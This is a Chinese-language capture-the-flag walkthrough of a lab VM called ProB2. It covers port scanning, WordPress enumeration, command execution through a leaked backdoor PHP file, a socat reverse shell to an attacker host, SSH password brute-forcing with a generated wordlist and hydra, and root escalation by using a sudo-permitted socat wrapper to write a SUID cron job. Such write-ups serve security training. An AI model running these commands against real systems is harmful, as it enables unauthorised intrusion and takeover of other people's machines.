ProB2

信息搜集

192.168.43.83

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# rustscan -a 192.168.43.83 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.83:22
Open 192.168.43.83:80
Open 192.168.43.83:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.83
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 19:46 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
Initiating ARP Ping Scan at 19:46
Scanning 192.168.43.83 [1 port]
Completed ARP Ping Scan at 19:46, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 19:46
Completed Parallel DNS resolution of 1 host. at 19:46, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:46
Scanning 192.168.43.83 [3 ports]
Discovered open port 22/tcp on 192.168.43.83
Discovered open port 8080/tcp on 192.168.43.83
Discovered open port 80/tcp on 192.168.43.83
Completed SYN Stealth Scan at 19:46, 0.02s elapsed (3 total ports)
Initiating Service scan at 19:46
Scanning 3 services on 192.168.43.83
Completed Service scan at 19:46, 7.64s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.83
NSE: Script scanning 192.168.43.83.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 4.13s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
Nmap scan report for 192.168.43.83
Host is up, received arp-response (0.00061s latency).
Scanned at 2026-05-06 19:46:17 CST for 13s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
| 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn't have a title (text/html).
8080/tcp open http syn-ack ttl 63 Apache httpd 2.4.65 ((Debian))
|_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.65 (Debian)
|_http-title: B2~happy!
|_http-generator: WordPress 6.9
MAC Address: 08:00:27:1A:D3:F4 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/6%OT=22%CT=%CU=35684%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69FB2A16%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 29.700 days (since Tue Apr 7 02:59:00 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.61 ms 192.168.43.83

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:46
Completed NSE at 19:46, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds
Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 22 SSH
  • 80 HTTP
  • 8080 HTTP(wordpress)

wordpress枚举

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
┌──(root㉿Eecho)-[~]
└─# wpscan --url http://192.168.43.83:8080/ --enumerate ap
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.43.83:8080/ [192.168.43.83]
[+] Started: Wed May 6 19:48:54 2026

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.65 (Debian)
| - X-Powered-By: PHP/8.1.34
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] robots.txt found: http://192.168.43.83:8080/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.43.83:8080/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.43.83:8080/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Debug Log found: http://192.168.43.83:8080/wp-content/debug.log
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| Reference: https://codex.wordpress.org/Debugging_in_WordPress

[+] The external WP-Cron seems to be enabled: http://192.168.43.83:8080/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.9 identified (Insecure, released on 2025-12-02).
| Found By: Meta Generator (Passive Detection)
| - http://192.168.43.83:8080/, Match: 'WordPress 6.9'
| Confirmed By: Rss Generator (Aggressive Detection)
| - http://192.168.43.83:8080/feed/, <generator>https://wordpress.org/?v=6.9</generator>
| - http://192.168.43.83:8080/comments/feed/, <generator>https://wordpress.org/?v=6.9</generator>
| - http://192.168.43.83:8080/feed/rss2/, <generator>https://wordpress.org/?v=6.9</generator>

[+] WordPress theme in use: b2
| Location: http://192.168.43.83:8080/wp-content/themes/b2/
| Style URL: http://192.168.43.83:8080/wp-content/themes/b2/style.css?ver=4.2.6
| Style Name: B2 PRO
| Style URI: https://7b2.com/
| Description: wordpress 高级商用主题,模块化管理,兼容微信的各种环境...
| Author: Li Ruchun
| Author URI: https://7b2.com/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 4.2.6 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.43.83:8080/wp-content/themes/b2/style.css?ver=4.2.6, Match: 'Version: 4.2.6'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] *
| Location: http://192.168.43.83:8080/wp-content/plugins/*/
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| The version could not be determined.

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed May 6 19:48:58 2026
[+] Requests Done: 7
[+] Cached Requests: 43
[+] Data Sent: 2.005 KB
[+] Data Received: 143.709 KB
[+] Memory used: 267.797 MB
[+] Elapsed time: 00:00:04

/wp-content/debug.log泄露了日志

image

报错显示在 /var/www/html/​ 根目录下。正常的 WordPress 根目录不应该有 ??-active.php

但是前面两个文件名未知,大概可以知道是啥,因为主题是b2的同时靶机名又是prob2大概率是b2

image

同时还需要fuzz一下$data in "????b"参数这里呢也是b2

image

上传socat反弹shell

1
2
/b2-active.php?b2b2b=curl -L http://192.168.43.6/socat -o /tmp/socat && chmod 777 /tmp/socat && /tmp/socat -V
/b2-active.php?b2b2b=/tmp/socat tcp-connect:192.168.43.81:4444 exec:'/bin/sh'

image

docker逃逸

image

可以看到当前是在docker环境下需要逃逸到宿主机

上传linpeas扫描

1
2
3
4
5
6
www-data@712695f2b369:/tmp$ curl -L http://192.168.43.6/linpeas.sh -o /tmp/linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 952k 100 952k 0 0 53.1M 0 --:--:-- --:--:-- --:--:-- 54.7M
www-data@712695f2b369:/tmp$ chmod +x linpeas.sh
www-data@712695f2b369:/tmp$ ./linpeas.sh

image

可以看到/usr/bin/和/usr/b1n其实是一样的

image

同时

image

这里显示的是一个路径 /usr/bin/b2?,既然bin里面存在一个b2sum,按照之前的/usr/b1n里面应该也会存在一个,但结果是多出了一个b2p

1
2
3
4
5
6
7
8
9
www-data@712695f2b369:/tmp$ ls /usr/bin/b2*
/usr/bin/b2sum
www-data@712695f2b369:/tmp$ ls /usr/b1n/b2*
/usr/b1n/b2p /usr/b1n/b2sum
www-data@712695f2b369:/tmp$ cat /usr/b1n/b2
b2p b2sum
www-data@712695f2b369:/tmp$ cat /usr/b1n/b2p
b2Thi5-1s~a-5tr**0ng~P@ss-w0rdb2
www-data@712695f2b369:/tmp$
1
b2Thi5-1s~a-5tr**0ng~P@ss-w0rdb2可能是b2用户的凭证目前还缺少两位,编写脚本爆破

生产密码字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
import itertools

prefix = "b2Thi5-1s~a-5tr"
suffix = "0ng~P@ss-w0rdb2"
# 包含数字、小写字母、大写字母
chars = string.digits + string.ascii_letters

with open("passlist.txt", "w") as f:
for combo in itertools.product(chars, repeat=2):
password = prefix + "".join(combo) + suffix
f.write(password + "\n")

print("字典已生成:passlist.txt,共 3844 行")
1
hydra -l b2 -P passlist.txt -vV ssh://192.168.43.83

image

提权

docker www -> b2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ssh b2@192.168.43.83
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
b2@192.168.43.83's password:
Linux ProBB 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 6 07:41:47 2026 from 192.168.43.6
-bash-5.0$ id
uid=1000(b2) gid=1000(b2) groups=1000(b2)
-bash-5.0$

在b2用户的家目录下.profile给出了hint

image

可以使用/opt/pro.so提权

1
2
3
4
5
6
-bash-5.0$ sudo -l
Matching Defaults entries for b2 on ProBB:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User b2 may run the following commands on ProBB:
(ALL : ALL) /opt/pro.so
1
2
3
-bash-5.0$ sudo /opt/pro.so --help
[!] Security Alert: Invalid payload format.
[!] Only standard proxies and authorized maintenance paths are allowed.

仅允许标准代理和授权的维护路径

前面又提示我们定时任务,那么这题大概率就是利用定时任务了

1
2
3
4
-bash-5.0$ sudo /opt/pro.so TCP:192.168.1.100:80
[+] Mode: Network Proxy
[+] Routing traffic on 0.0.0.0:9876 -> TCP:192.168.1.100:80
[+] Press [Ctrl+C] to stop the service.

该程序正在监听本地的所有网卡(0.0.0.0​)的 9876 端口,任何发送到这台机器 9876 端口的数据,都会被以 root 权限 转发到指定的 192.168.1.100:80

由此可以判断是使用socat编写的程序,当输入 TCP:192.168.1.100:80​ 时,脚本中的正则匹配成功,最终执行的底层命令是:sudo socat TCP-LISTEN:9876,reuseaddr TCP:192.168.1.100:80​这是 socat​ 最经典的 端口转发(Port Forwarding) 语法。

那么可以利用socat的文件与流操作类CREATE: CREATE:<path>​。创建并写入文件因为任何发送到这台机器 9876 端口的数据,都会被以 root 权限 转发到指定的 192.168.1.100:80,那么可以写入定时任务

1
2
3
4
5
6
7
8
9
b2@ProBB:~$ sudo /opt/pro.so CREATE:/etc/cron.d/pwn_final
[+] Mode: System Maintenance Task
[+] Authorized maintenance path detected.
[+] Awaiting configuration payload on 0.0.0.0:9876...
[+] Press [Ctrl+C] to stop the service.
2026/05/06 07:41:57 socat[1084] E read(5, 0x561498127000, 8192): Bad file descriptor

[!] Service stopped gracefully.

另起一个终端,写入定时任务

1
echo -e "* * * * * root chmod +s /bin/bash\n\n" > /dev/tcp/127.0.0.1/9876

7e981a19d767b0fbe490dd6f387f284c

91f04405bf00ba991a8abcd0c4d8c451